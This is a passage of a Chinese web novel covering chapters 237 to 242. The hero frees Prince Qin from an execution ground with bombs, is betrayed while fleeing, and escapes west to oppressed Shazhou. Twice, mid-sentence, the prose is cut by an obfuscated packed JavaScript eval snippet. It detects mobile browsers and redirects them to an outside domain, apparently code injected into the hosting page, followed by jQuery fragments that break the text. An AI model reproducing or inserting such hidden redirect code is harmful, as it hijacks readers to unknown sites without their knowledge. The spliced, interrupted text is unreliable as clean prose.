他将这些残缺不全的骸骨,一一收敛进早已备好的瓦罐里,随后寻了一处山清水秀、无人知晓的山坳,秘密安葬。 取出张若素的信,陈平川为张廷玉诵读,念了几次,陈平川都哽咽停下。 终于念完后,他将信放在墓碑前,轻声说道。 “张大人,您放心,我会照顾好若素。您的仇,平川,也一定会报。” 随即,他咬破指尖,鲜血涌出。 他用这滚烫的鲜血,在冰冷的墓碑上,一笔一划,写下血字。 “今日之辱,来日必将血洗。梁氏不灭,平川誓不为人!” 做完这一切,他返回京城。 第二天,一名乔装成酒贩的汉子,推着一车酒,来到了陈平川居住的宅邸。 这名汉子,正是黑风寨的铁牛。 他在将酒坛搬入地窖时,趁着无人注意,凑到陈平川耳边,用只有两人能听到的声音,低声说道。 “军师,大当家的让俺告诉您:酒已入库,只待开封。” 陈平川心中大定。 这是他们的暗号。 “酒”代表凤三娘带来的黑风寨精锐。 “入库”,就是人已经全部潜入京城,并各自就位。 “开封”,便是等待他动手的信号。 陈平川抬头,看了一眼菜市口法场的方向,眼中寒光一闪。 现在,万事俱备,只欠东风了。 第238章 国舅:让你丢令牌,你掏刀干嘛? 问斩之日来临。 整个菜市口法场,风声鹤唳,杀气弥漫。 内外三层,围满了身披重甲的禁军,刀枪如林,戒备森严到了极点。 监斩台上,国舅梁越身着一袭华贵的紫色锦袍,高坐于太师椅上,满脸红光,享受着这万众瞩目的感觉。 陈平川则像一个最忠实的跟班,侍立在他的身侧,低眉顺眼,一副小心翼翼的模样。 但,他眼角的余光,已将整个法场的布局,以及人群中的动静,尽收眼底。 他看到。 在南边茶楼的二楼,一个身穿红衣、头戴斗笠、腰间配剑的冷峻江湖客,正临窗而坐,面前摆着一壶清茶。 那是凤三娘。 在西边卖炊饼的摊位后,一个身材魁梧如铁塔的壮汉,正一边吆喝,一边不动声色地观察着四周。 那是铁牛。 还有更多化装成小贩、走卒、看客的黑风寨弟兄,早已占据了各个最佳的行动位置,如同一张蓄势待发的大网,只等他一声令下。 “时辰到!带人犯!” 一名官员高声喊道。 沉重的铁链拖地的声音响起,秦王祝衡被两名刽子手押上了法场。 他虽然遍体鳞伤,衣衫褴褛,但脊梁却挺得笔直,如同一杆宁折不弯的标枪。 他走上断头台,先是怒视着监斩台上的梁越,眼神中充满了轻蔑与不屑。 最后,他的目光落在了陈平川的身上。 那眼神,复杂到了极点,充满了被最信任之人背叛的“失望”与“愤怒”。 他演得太好了,完美地配合着陈平川,将这出戏推向了最高潮。 梁越看着这一幕,心中畅快无比,他看了看时辰,拿起案上的朱笔,在处决令上勾了一下,然后拿起那块决定生死的令牌,递到了陈平川面前。 他用一种戏谑的口吻说道:“陈大人,来,送你旧主一程吧!” 全场的目光,瞬间聚焦在了陈平川身上。 陈平川立即躬身:“是。” 他伸出手去…… 就是现在! 陈平川没有去接那块令牌,而是身形一晃,绕到了梁越的身后。 一把藏于袖中的锋利匕首,已经架在了梁越的咽喉之上! “全都不许动!” 陈平川的声音,不再是之前的谦卑和谄媚,而是冷酷与杀意,响彻整个法场! “否则,我一刀捅死这个王八蛋!” 全场死寂! 所有人都被这石破天惊的惊天逆转,惊得目瞪口呆,大脑一片空白。 梁越更是吓得魂飞魄散,两腿一软,瘫在了椅子上,裤裆处迅速湿了一大片。 “你……陈平川……你敢!”他颤抖着声音说道。 “动手!” 陈平川没有理他,而是用尽全身力气,发出了一声暴喝! 这声暴喝,就是信号! 早已准备就绪的凤三娘、铁牛等人,在同一时间,将怀中早已掏出的、一个个用油布包裹的,被陈平川改良过的“加强版震天雷”,点燃引信,奋力扔向了禁军最密集的阵型之中! “轰!轰!轰隆隆——!” 几十颗震天雷同时爆炸,那威力,不亚于天崩地裂! 巨大的爆炸声震耳欲聋,地动山摇! 恐怖的气浪,瞬间就撕开了禁军那看似坚不可摧的阵型! 血肉横飞,残肢断臂四处飞溅! 惨叫声、哀嚎声响成一片,整个法场,瞬间化作了修罗地狱! “杀!” 凤三娘如同一道红色的闪电,从茶楼二楼一跃而下,率领着数名精锐,趁着混乱,直冲监斩台! 她手中长剑翻飞,所过之处,无人能挡! “当!” 手起剑落,捆绑着秦王的枷锁应声而断。 “王爷,跟我走!” 铁牛等人则在外围,用最简单粗暴的方式,掀翻摊位,投掷猛火油,制造着更大的混乱,拼死阻挡着从四面八方围拢过来的援军。 一时间,火光冲天,浓烟滚滚! 百姓们四散奔逃,与士兵拥挤碰撞,让场面更加混乱。 “跟我走!快!” 陈平川挟持着已经吓得大小便失禁的梁越,一步步地从监斩台上后退。 周围的禁军投鼠忌器,眼睁睁看着他与凤三娘等人汇合一处,却不敢上前一步。 一行人在黑风寨弟兄的掩护下,且战且退,直奔最近的城门! 然而,当他们冲到城门口时,所有人的心顿时一沉。 千斤重的闸门,已经轰然落下。 四面八方,都是闻讯赶来的京城卫戍,黑压压的人群,如同潮水一般涌来,将他们团团围住。 他们,已成瓮中之鳖! “给我炸开它!” 陈平川对着凤三娘,发出怒吼! 凤三娘毫不犹豫,将最后的震天雷,全部捆绑在一起,点燃了那根长长的引信。 她用尽全身的力气,将这个巨大的“炸药包”,奋力扔向了城门! “轰——!!!” 一声前所未有的、开天辟地般的巨响! 坚不可摧的城门,竟被这恐怖的威力,炸得四分五裂,木屑纷飞!一个巨大的缺口,出现在众人面前! 一线生机! 不过,就在城门被炸开的瞬间,那巨大的冲击波,也让陈平川的身形猛地一晃,与梁越同时摔倒。 求生的本能让梁越抓住这个千载难逢的机会,猛地挣脱了陈平川的控制,连滚带爬地朝禁军人群中跑去。 “想跑?!” 陈平川亮出袖中的连弩,瞄准、射出! 动作一气呵成! “噗!” 箭矢破空而去,正中梁越的后肩,带出一蓬血花。 可惜,终究是仓促之间,未能一箭毙命。 “分头走!西边百里外,乱石坡汇合!” 眼见禁卫军围杀上来,陈平川当机立断,下达了最后的命令。 再不走,就真的走不掉了! 救人要紧,梁越迟早取他狗命! 一行人不再恋战,冲出那个被炸开的城门缺口,冲入了城外地形复杂的山林之中。 “追!给本国舅追!” 梁越捂着流血的伤口,面目狰狞得如同地狱里的恶鬼,发出了歇斯底里的咆哮。 “传我命令!调动所有兵马,追到天涯海角,也要把陈平川和祝衡这两个逆贼,给本国舅抓回来!” “我要将他们,碎尸万段!” 第239章 化整为零,分头突围 京城外,乱石坡上。 风声呜咽,如泣如诉。 劫后余生的众人终于在此地汇合,气氛却格外沉重。 凤三娘手臂上缠着布条,殷红的血迹已经浸透。 铁牛的脸上多了一道深可见骨的刀疤,眼神却依旧凶悍。 其他黑风寨的弟兄们,个个带伤,沉默地靠着冰冷的石头,大口喘着粗气。 秦王祝衡的脸色苍白如纸,靠在陈平川身边,每一次呼吸都引起剧烈地咳嗽。 经历九死一生的血战,他们终于成功救出了秦王,但也付出了惨重的代价。 “大家伤势都怎么样?”陈平川的声音打破了死寂,他自己也好不到哪里去,挟持梁越时被禁军的冷箭划伤了后背,火辣辣地疼。 “死不了。”凤三娘声音清冷,一如既往。 “俺也一样!”铁牛瓮声瓮气地回道,摸了摸脸上的伤疤,咧嘴一笑,只是那笑容比哭还难看,“他娘的,总算把王爷救出来了,不枉咱们兄弟死拼一场!” 其他人也纷纷应和,只是声音里透着一股难掩的疲惫。 陈平川的目光扫过每一个人,心中沉重。 这次行动,黑风寨的精锐折损了近三成。 这些人,都是曾经和他大口喝酒、大块吃肉、一同出生入死的兄弟。 “梁越那老狗现在一定气疯了。” 陈平川缓缓开口,一句话就将众人劫后余生的庆幸打得粉碎,“出京的道路必定已经全部戒严,周围百里的官道、要隘,现在一定已经布满了梁越的鹰犬和爪牙。” 他顿了顿,看着众人凝重的脸,继续说道:“我们这么多人聚在一起,目标太大,就像黑夜里的火把一样,走到哪都躲不过。” “那军师你说怎么办?俺们都听你的!”铁牛急道。 陈平川深吸一口气,看向凤三娘,沉声说出了自己的计划。 “必须化整为零,分头突围。” 此言一出,众人皆惊。 “不行!”凤三娘第一个反对,语气斩钉截铁,“平川,你和王爷是他们的首要目标,我必须护着你们!” “三娘,听我说。”陈平川看着她,目光变得柔和了些,“正因为我和王爷是首要目标,所以才不能跟你走。” “梁越的追兵主力,必然是冲着我和王爷来的。你们黑风寨的弟兄,目标太大,就算伪装,也容易被识破。你们跟着我们,只会把所有人都拖入死地。” 凤三娘嘴唇紧抿,她知道陈平川说的是事实,但理智上的认同,不代表情感上能接受。 让她丢下陈平川,独自离去,她做不到。 “我们不能分开……”她的声音里带上了几分哀求。 “三娘,这不是儿女情长的时候。”陈平川的语气重了几分,“你手下还有这么多弟兄,你要为他们负责,你得把他们活着带回黑风寨。” 他看着凤三娘担忧的眼神,放缓了声音:“你放心,我自有脱身之法。我们最终的目的地不变。” 陈平川的目光扫过所有人,一字一句地说道:“庐州!我们在庐州汇合!” 庐州,是他的根,也是秦王经营多年的地方。 回到那里,他们才有喘息和反击的可能。 秦王祝衡这时也挣扎着开口,声音虚弱却坚定:“平川说得对。凤姑娘,大局为重。本王这条命是你们捡回来的,不能再让更多的人为我白白牺牲。” 凤三娘看着陈平川,又看了看秦王,眼眶微微泛红。 她知道,这是眼下唯一的办法。 她是一个山寨的大当家,肩上扛着数百人的性命,不能意气用事。 良久,她终于点了点头,声音沙哑:“好。我听你的。” 她转过身,对着所有黑风寨的弟兄们低声喝道:“大家收拾东西,把家伙都藏起来,准备出发!往南走!” “是,大当家!” 弟兄们虽然不舍,但也明白事态紧急,立刻开始行动。 临别之际,凤三娘走到陈平川面前,深深地看了他一眼。 千言万语,最终只化为一句。 “平川,你一定要活着到庐州。” “放心。”陈平川点头,给了她一个安心的眼神,“你也是,保护好自己和弟兄们。” 凤三娘不再多言,叮嘱留下的两个兄弟好生保护陈平川,随后她翻身上马,带着铁牛和一众黑风寨弟兄,很快就消失在了夜色之中。 乱石坡上,只剩下陈平川、秦王,以及凤三娘留下两名山寨兄弟。 周围一下子安静下来,只剩下呼啸的风声和秦王压抑的咳嗽声。 “王爷,我们也该走了。”陈平川扶起秦王。 “咳咳……”秦王又是一阵剧烈的咳嗽,几乎要将心肺都咳出来,好半天才缓过气,“平川,本王……本王拖累你了!” “王爷说得什么话。”陈平川皱眉道,“没有你,就没有我陈平川的今天。我们是一条绳上的蚂蚱,谁也别想跑。” 他半开玩笑的语气,让秦王紧绷的神经稍微放松了一些。 “走吧,我们走另一条路,去那深山老林,暂且避一避。” 陈平川背起虚弱的秦王,两名山寨兄弟一前一后,警惕地护卫着。 四道身影,就这样融入了无边的黑暗之中,前路漫漫,杀机四伏。 …… 崎岖的山路磨破了脚底,冰冷的夜风刮在脸上像刀子一样。 陈平川背着秦王,深一脚浅一脚地在林子里穿行。 秦王祝衡的身体越来越烫,呼吸也变得急促起来。 法场受刑,加上连番的奔波和精神上的巨大打击,这位昔日尊贵的王爷,终于撑不住病倒了。 “平川……放我下来……咳咳……我自己走……”秦王的声音气若游丝,每一次开口都像是在拉风箱。 “王爷,省点力气吧。”陈平川头也不回,脚下丝毫不停,“再坚持一下,我们找个地方歇歇脚。” 两名护卫也是满脸疲惫,但依旧警惕地观察着四周。 他们已经连续奔逃了两个时辰,早已远离了官道,可那种如芒在背的危机感,却丝毫没有减弱。 天边泛起鱼肚白时,他们终于走出密林,看到山坳里有几缕炊烟袅袅升起。 那是一个只有三五户人家的偏僻小山村。 “有救了!”一名护卫喜道。 陈平川却不敢大意,他放下秦王,低声道:“你们在这里等着,我过去看看。” 他独自一人,小心翼翼地靠近村子,观察了许久,确认没有官兵的踪迹,这才松了口气。 他敲开了一户家门。 开门的是一个面容憨厚的中年汉子,看到浑身狼狈的陈平川,愣了一下。 陈平川立刻编了个谎话,说自己是南下经商的商人,路上遇到了劫匪,和家人走散了,同行的长辈还受了风寒,病得很重,想借宿一晚,讨口水喝。 说着,他从怀里摸出一小块碎银子,塞到汉子手里。 这块银子,足够普通农户半年的开销了。 那汉子见了银子,眼睛一亮,脸上的警惕立刻变成了热情。 “哎哟,小兄弟快请进!出门在外谁没个难处,你的长辈在哪?扶他进来!” 第240章 绝境逢生!一路向西! 陈平川将秦王和两名护卫带进了这间简陋的茅屋。 汉子的婆娘给他们烧了热水,煮了些粗粮糊糊。 秦王喝下热水后,病情却不见好转,反而开始说胡话,浑身烫得吓人。 “这不行啊,得请个大夫看看!”汉子的婆娘焦急地说道。 陈平川心里也急,秦王要是在这里出了事,那他们之前所有的努力就都白费了。 他再次掏出一块分量更足的银子,递给那汉子,恳求道:“这位大哥,麻烦您跑一趟,去镇上请个最好的大夫过来,剩下的钱,就当是您的辛苦费。” 汉子掂了掂手里的银子,满口答应:“你放心,我这就去!我婆娘前阵子也病了,镇上的张大夫医术高明,我把他给你请来!” 汉子揣着银子,脚步飞快地朝着镇子的方向去了。 陈平川安顿好秦王,心里总觉得有些不安。 在梁家的天罗地网之下,任何一个环节出错,都可能万劫不复。 一个时辰后,汉子回来了,身后却没跟着大夫。 “大夫呢?”陈平川心里一沉,但面上不动声色地问道。 汉子一脸为难地搓着手:“小兄弟,真不巧,张大夫今天出诊了,要去邻村,得晚上才能回来。” “不过您放心,我跟他说了病情,他给开了方子,让我先抓药回来给您长辈熬上,他说这药喝下去,保管能退烧。” 说着,他从怀里掏出几包草药。 陈平川并不认识药草,但眼下也只能死马当活马医,只能向汉子道了谢,让其婆娘帮忙熬药。 秦王喝下药后,高烧果然退了一些,沉沉睡去。 陈平川这才松口气,暗道是自己太过紧张,有些多疑了。 不过为了安全起见,陈平川和两名护卫轮流守夜,不敢有丝毫松懈。 入夜,山村里一片寂静,只有虫鸣声此起彼伏。 陈平川守在下半夜,正靠着墙壁假寐,突然,一阵极轻微的犬吠声从远处传来。 他猛地睁开眼睛! 不对劲! 他之前明明没有在这山村里发现狗,这狗叫又是哪里来的? 陈平川一个激灵,瞬间睡意全无,一股寒意从脚底直冲天灵盖。 他立刻推醒两名护卫和昏睡的秦王。 “快走!我们被出卖了!” 他话音刚落,屋外就传来一阵密集的脚步声和兵甲碰撞声。 火把的光亮,瞬间将这间小小的茅屋照得通明! “反贼陈平川、祝衡就在里面!给本将围起来,一只苍蝇都不能放出去!” 一个嚣张的声音在屋外响起。 陈平川心里一沉,一定是那个汉子! 他去镇上根本不是请大夫,而是去告密! 那几包草药,只是为了稳住他们的缓兵之计! “为什么?”一名护卫满眼不解和愤怒,“我们给了他那么多钱!” 陈平川的脑海里闪过农户提起他生病的老婆时那纠结的眼神,瞬间明白了。 他去镇上,看到了他和秦王的通缉令。 那上面悬赏的金额,恐怕是一个他一辈子都无法想象的天文数字。 为了那笔能改变一家命运的赏金,他选择了出卖良心。 在巨大的利益面前,人性的善良,脆弱得不堪一击。 “别废话了!准备突围!”陈平川低吼道。 他背起秦王,两名护卫抽出腰刀,护在身前。 “砰!” 茅屋的门被一脚踹开,无数手持刀枪的官兵如潮水般涌了进来。 “杀出去!” 两名护卫怒吼一声,挥刀迎了上去。 他们都是刀口舔血的人,悍不畏死。 刀光剑影中,鲜血飞溅。 两名护卫瞬间就被淹没在人潮之中,他们用身体和生命,为陈平川争取了宝贵的几息时间。 陈平川看着他们浴血奋战,眼睛瞬间红了。 他没有选择从门口硬闯,而是转身一脚踹向茅屋后面的窗户! 他扶着秦王,从窗户狼狈地滚了出去! “贼人从后面跑了!快追!” 身后传来惊怒的吼声。 陈平川不敢回头,借着夜色的掩护,一头扎进了屋后的山林之中。 身后,追兵的呐喊声、犬吠声,如跗骨之蛆,紧追不舍。 山林里漆黑一片,树影幢幢,阴森诡异。 陈平川背着秦王,在崎岖的山路上疯狂奔跑,肺部像火烧一样疼。 身后的呐喊声和搜山犬的吠叫声越来越近,火把的光亮在林间晃动,像一条追魂的火龙。 他不敢停,也不能停。 他必须活下去,带着秦王活下去! “他娘的!”陈平川心里暗骂。 他还是低估了梁越的决心和手段。 这天罗地网,撒得又快又密。 那个告密的汉子,此刻恐怕正在官兵面前点头哈腰地领赏吧。 陈平川的脑子飞速运转,光是跑,肯定跑不掉。 官兵人多势众,还有猎犬,他们的体力迟早会被耗尽。 必须想办法! “平川……咳咳……你放下我……自己走吧……”秦王的声音充满了绝望。 他觉得自己就是个累赘,拖累了所有人。 “闭嘴!”陈平川低吼一声,再次将他背起,“要死一起死!我陈平川绝不会丢下你!” 秦王心中一震,不再言语,只是默默地将脸埋在陈平川的背上。 不知跑了多久,陈平川的体力渐渐不支,脚步也变得踉跄起来。 身后的追兵已经重新锁定了他们的方向,喊杀声再次逼近。 绝望之际,他听到前方传来哗哗的水声。 是一条河! 陈平川眼前一亮,心中再生一计。 他跑到河边,只见河水湍急,心中大喜。 他迅速脱下自己的外衣,将它挂在一截顺流而下的枯木上,用力一推,让枯木带着衣服漂向了下游。 做完这一切,他没有丝毫犹豫,背着秦王,深吸一口气,潜入了冰冷的河水之中。 岸边有一片茂密的芦苇荡,他便拖着秦王,悄无声息地躲了进去。 他将身体完全沉在水里,只露出鼻子和眼睛,透过芦苇的缝隙观察着外面的动静。 很快,大批的追兵赶到了河边。 “将军,有发现!”一名士兵指着下游叫道。 追兵的将领顺着手指的方向看去,果然看到一件衣服挂在木头上,正顺着水流远去。 “反贼一定是顺水逃了!快!沿着下游追!” 将领没有丝毫怀疑,大手一挥,带着大部队浩浩荡荡地沿着河岸向下游追去。 看着追兵远去,陈平川紧绷的神经终于松懈下来。 危机,暂时解除了。 他拖着精疲力尽的身体,将同样冻得瑟瑟发抖的秦王带上岸。 两人瘫倒在泥泞的河滩上,大口大口地喘着气,狼狈不堪。 劫后余生的庆幸,很快就被巨大的悲凉所取代。 秦王望着京城的方向,两行清泪无声地滑落。 曾经,他是一人之下万人之上的天潢贵胄。 可现在,他却成了天下通缉的朝廷反贼。 想起那个为了赏金出卖他们的农户,想起那些为了保护他而惨死的护卫。 秦王一直坚信,自己所做的一切,都是为了这个国家,为了天下的百姓。 可现在,“百姓”这个词,第一次让他感到了如此的陌生和痛苦。 他的信念,在这一刻开始动摇。 “平川,我们现在……还能去哪?”秦王的声音里充满了迷茫。 陈平川拧干湿透的衣服,目光同样望向远方,眼中却没有丝毫迷茫,反而闪烁着冷静思索的光芒。 “回庐州的路,肯定已经被彻底封锁了。”他冷静地分析着,“梁越不是傻子,他知道我们最可能去的地方就是庐州。” “其他地方,更不能去。整个中原,现在都没有我们的立足之地。” 秦王的心沉到了谷底:“那我们……” “向西!”陈平川吐出两个字,掷地有声。 “向西?”秦王一愣。 “对,向西!”陈平川的眼中燃起一簇火焰,“去那片连朝廷都管不到的地方,去西域!或许,那里还有我们的一线生机!” 中原已容不下他们。 那就去更远的地方,去那片被遗忘了百年的土地,寻条生路! 第241章 扬我国威?在这里汉人不如狗! 两人换了衣服,脸上涂满泥土,扮作逃难的流民,一路向西。 风餐露宿,饥一顿饱一顿。 曾经锦衣玉食的秦王,如今却要为了一个干硬的窝头,和野狗争食。 尊严,在生存面前,被碾得粉碎。 他们越走越荒凉,原本的沃野千里,逐渐变成了黄土漫天的戈壁。 人烟越来越稀少,有时候走上一天,都看不到一户人家。 秦王祝衡彻底沉默了,他身上的伤在颠簸中反复发作,但身体的痛苦,远不及内心的煎熬。 他不止一次地问陈平川,他们这么做,到底还有没有意义。 陈平川没有多做解释,只是默默地将水分给他一半,将找到的食物多分给他一些,然后鼓励他不要放弃,继续前行。 行动,远比任何言语都有力量。 这一路,磨掉的是秦王的骄傲,磨砺的却是陈平川的意志。 半个月后,他们终于蹒跚着,跨过了那道象征着大业朝疆域的最后关卡——玉门关。 关隘早已破败不堪,只有几个老弱病残的守兵,懒洋洋地靠在墙根下晒太阳,对他们这两个“流民”的经过,连眼皮都懒得抬一下。 踏出关门的那一刻,眼前是漫天的黄沙,狂风卷着沙砾,打在脸上生疼。 这里,就是西域了。 一片被遗忘和危机四伏的土地。 他们在一处早已废弃的驿站遗址里稍作歇脚。 驿站的断壁残垣间,一块倒塌的巨大石碑,吸引了他们的注意。 两人合力,将石碑上的黄沙拂去,只见上面用雄浑的笔触,刻着几行大字。 碑文已经模糊不清,但依稀可以辨认出,这是百年前,大业太祖皇帝派遣大军征讨西域时,所立下的纪功碑。 上面记载着,当年数万大业将士,如何浴血奋战,埋骨于此,才换来了丝绸之路的畅通,换来了西域三十六国俯首称臣,万国来朝的赫赫声威。 石碑的最后,是四个龙飞凤舞的大字,力透石背。 “扬我国威!” 秦王祝衡用颤抖的手,抚摸着那冰冷的石刻。 “扬我国威……” 他喃喃地念着这四个字,眼泪再也控制不住,如断了线的珠子般滚落。 想当年,他的先祖何等英雄盖世,开疆拓土,威震四海。 可如今,他这个大业的王爷,皇室的子孙,却像一条丧家之犬,被人追杀,狼狈地逃到这片祖先用鲜血换来的土地上苟延残喘。 巨大的反差和**,让他一个七尺男儿,蹲在石碑前,像个孩子一样,失声痛哭。 江山,还是那个江山。 可坐江山的人,早已不姓祝了。 陈平川静静地站在一旁,没有去劝慰。 他能理解秦王的痛苦。 他的目光,同样落在那块石碑上。 扬我国威! 这四个字,像一团火,在他心中点燃。 他不像秦王那样,有那么深的家国情怀和皇室的荣耀感。 他是一个来自后世的灵魂,看过太多历史兴衰。 他知道,当一个王朝从根子上开始腐烂时,任何修修补补都只是徒劳。 大业朝,已经没救了。 梁家篡权,皇帝被弑,这不过是王朝末路的一个缩影。 就算没有梁家,也会有李家,有王家。 中原那片土地,在未来很长一段时间里,都将陷入无休止的内斗和战乱之中。 回去? 回去又能做什么? 卷入那滩浑水,最终落得和**大学士一样的下场吗? 不。 陈平川的眼神,变得无比冷厉。 他要在这里,像梭梭草一样,顽强地活下去! 然后重返中原,为景帝和**,向梁家报仇! 这个念头,像一颗种子,在他心里疯狂地生根发芽。 他扶起依旧在哭泣的秦王,一字一句地说道: “王爷,别哭了。” “哭,解决不了任何问题。” “从今天起,忘了你大业朝的王爷身份。” “在这里,我们只是两个想活下去的汉人。” “然后,等待机会,我们杀回去!” 秦王被陈平川的话震住了,他抬起泪眼,看着眼前这个比他年轻许多,却更加顽强的青年。 陈平川的眼睛里,有一种他从未见过的光芒。 那不是复仇的火焰,也不是权力的欲望。 那是一种,要将这天地都翻转过来的,磅礴的野心和信念! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097157|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦王擦干眼泪,重重地点了点头。 “好!本……我听你的!” 两人不再停留,迎着漫天风沙,朝着西域的第一座城池——沙州,走去。 沙州城,远看还算雄伟,土黄色的城墙在戈壁的映衬下,透着一股饱经风霜的沧桑。 可当陈平川和秦王真正走进城门时,眼前的景象,却让他们触目惊心。 城内,与其说是城,不如说是一个巨大的贫民窟。 街道上污水横流,垃圾遍地,空气中弥漫着一股牲畜粪便和腐烂食物混合的恶臭。 他们看到的汉人百姓,个个衣衫褴褛,面黄肌瘦,眼神里充满了麻木和恐惧。 而那些穿着皮甲、挎着弯刀的异族士兵,却个个身强体壮,气焰嚣张。 从他们的服饰和语言判断,这些人应该是甘州回鹘的士兵。 沙州,名义上还是大业朝的疆土,实际上,早已成了回鹘人的地盘。 在这里,汉人,是最低等的存在。 他们走在街上,看到回鹘士兵,都得远远地停下脚步,低头哈腰地让路,生怕一不小心就惹来祸端。 就在这时,街边发生的一幕,让秦王祝衡的拳头瞬间攥紧了。 一个汉人老者,挑着一担水,因为年老体衰,走得慢了些,挡住了一个回鹘士兵的去路。 那回鹘士兵二话不说,扬起手中的皮鞭,狠狠地抽在了老者的背上! “啪!” 一声脆响,老者背上顿时皮开肉绽,鲜血直流。 他惨叫一声,连人带水桶摔倒在地,水洒了一地。 “老不死的狗东西!敢挡路!?” 那回鹘士兵用蹩脚的汉语骂骂咧咧,还觉得不解气,又上前踹了两脚。 老者蜷缩在地上,痛苦地呻吟着,却不敢有半点反抗。 周围的汉人百姓,全都围了上来,但没有一个人敢上前说一句话。 他们的脸上,只有同情、恐惧,和深深的无力。 秦王祝衡哪里见过这等景象! 他一直以为,大业的子民,即便生活困苦,也该是有尊严的。 可眼前的这一幕,彻底击碎了他的幻想。 “住手!” 他气得浑身发抖,怒吼一声,就要冲上去。 第242章 尊严算个屁,活下去才是硬道理! 陈平川眼疾手快,一把死死拉住了他。 “王爷!你疯了!”陈平川低声喝道。 “放开我!”秦王双眼赤红,“朗朗乾坤,他们竟敢如此欺辱我大业子民!” “这里不是中原!你现在冲上去,我们两个都得死在这!”陈平川用力将他拖到墙角,压低声音说道,“你看看周围!谁敢出头?你以为你还是那个一呼百应的秦王吗?” 秦王环顾四周,那些围观的汉人,都惊恐地低下了头,甚至悄悄后退了几步。 显然已经被吓破了胆,生怕惹火上身。 一盆冰水,从秦王的头顶浇到了脚底。 回鹘士兵威风耍够了,大笑着扬长而去,才有人将被鞭打的老者扶起来。 街上又恢复了平静,仿佛刚才什么事都没有发生,只不过人们的脸上又多了一层麻木和哀伤。 秦王坐靠在土墙上,双目无神,对陈平川喃喃说起,大业开国之初,西域三十六国的国王,都要来这沙州,向大业皇帝朝拜。 那时候的汉人,走到哪里,都是挺直了腰杆,受万国敬仰。 “这才多少年……”秦王的声音里充满了无尽的悲凉与自责,“我大业的子民,竟然……竟然在这片祖宗的土地上,活得不如一条狗!” 他的声音哽咽,充满了作为一个皇室子孙的羞愧和无能为力。 陈平川的内心,同样受到了巨大的冲击。 但他比秦王更明白一个道理。 感伤和愤怒,是这个世界上最没用的东西。 活下去,才是第一要务。 他拍了拍秦王的肩膀,沉声道:“王爷,收起你的愤怒。在这里,愤怒只会让你死得更快。” “我们现在要做的,不是打抱不平,而是想办法,先在这里活下来。” 他看着街上人来人往,看着汉人的卑微和回鹘人的嚣张,眼神变得愈发深邃。 他知道,想在这里立足,比他想象的还要困难。 这里不仅有异族的压迫,从那些汉人麻木的眼神中,他甚至可以预见到,汉人内部为了争夺有限的资源,恐怕也充满了倾轧和斗争。 这是一个完全没有秩序,只信奉丛林法则的地方。 “王爷,我们得先找个地方住下,然后搞点吃的东西。”陈平川冷静地说道。 秦王苦笑一声,“可是我们现在身无分文。” 他们身上本来就没带多少钱,这一路西行,几乎都花光了。 “没钱,就去挣。” 陈平川的目光,落在了不远处一个汉人开的酒馆上。 酒馆里飘出的酒菜香味,勾起两人腹中的馋虫。 “我们去问问,能不能打工赚钱。” 陈平川站起身走向酒馆。 酒馆老板看到他们两个衣衫褴褛、面黄肌瘦,又都是汉人,可怜他们便给了一些残羹冷炙。 但打工就算了,老板摆了摆手,叹气说如今生意难做,养活自己都勉强,实在是用不起人手。 陈平川感谢了老板,拿着食物和秦王坐在一边吃。 食物的味道粗劣不堪,可对腹中空空如也的两人来说,这已是山珍海味。 酒壶里还剩了小半壶酒,秦王祝衡眼中泛起一丝光亮,他太久没尝过酒的滋味了,迫不及待地举起酒壶,贪婪地灌了一大口,可那酒液刚一入喉,他的眉头便紧紧拧成了一个疙瘩。 “呸!这算什么酒!”他低声咒骂道,满脸的嫌弃,“寡淡如水,还带着股酸味,比我王府里给下人喝的马尿都差远了!” 陈平川接过来也尝了一口,那酒液浑浊,入口稀薄,酒精的味道若有若无,好像白水兑了醋,难喝至极。 他将酒壶在手里晃了晃,看着里面沉浮的杂质,眼中却闪过一道精光。 他抬眼望向柜台后唉声叹气的老板,走了过去,问道:“店家,您这酒是怎么酿制的?” 老板随口说了几句发酵、过滤的粗浅法子,言语间颇为自得,说他的酒是沙洲数一数二的好酒。 陈平川听完,心中已然有数,他清了清嗓子,提出了一个建议:“店家,我有一种法子,能用你这些酒糟,酿出比你的酒烈十倍、香百倍的美酒。你只需提供些材料地方,酿出的酒,我们二八分成,你八我二,如何?” 那老板先是一愣,随即像看疯子一样看着他,嗤笑一声,根本不信。 任凭陈平川如何软磨硬泡,说得天花乱坠,老板也只当他是异想天开的傻瓜,最后不耐烦地从钱匣里摸出两枚铜板,丢在桌上:“行了行了,别在这儿碍眼了,拿着钱赶紧走吧!” 夜色如墨,寒风似刀。 两人蜷缩在城西一间废弃的破庙里。 神像早已坍塌,蛛网遍结,四壁的破洞成了风的入口,凄厉的呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097158|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啸声仿佛鬼哭,将庙里最后一点暖意也卷走。 秦王祝衡紧紧裹着身上那件聊胜于无的破衣,身体不受控制地瑟瑟发抖。 透过残破的窗棂,他望着外面漆黑如深渊的夜空,回忆起曾经的荣华富贵,不由得怅然若失。 “平川,”他发出一声叹息,“你说……我们是不是从一开始就错了?或许,我当初就不该回京,你也不该……去劫法场……” “现在说这些有什么意义?”黑暗中,陈平川冷硬的声音响起。 他正蹲在角落,借着微弱的月光,摆弄着一堆从垃圾堆里捡来的破陶罐和一根中空的竹管。 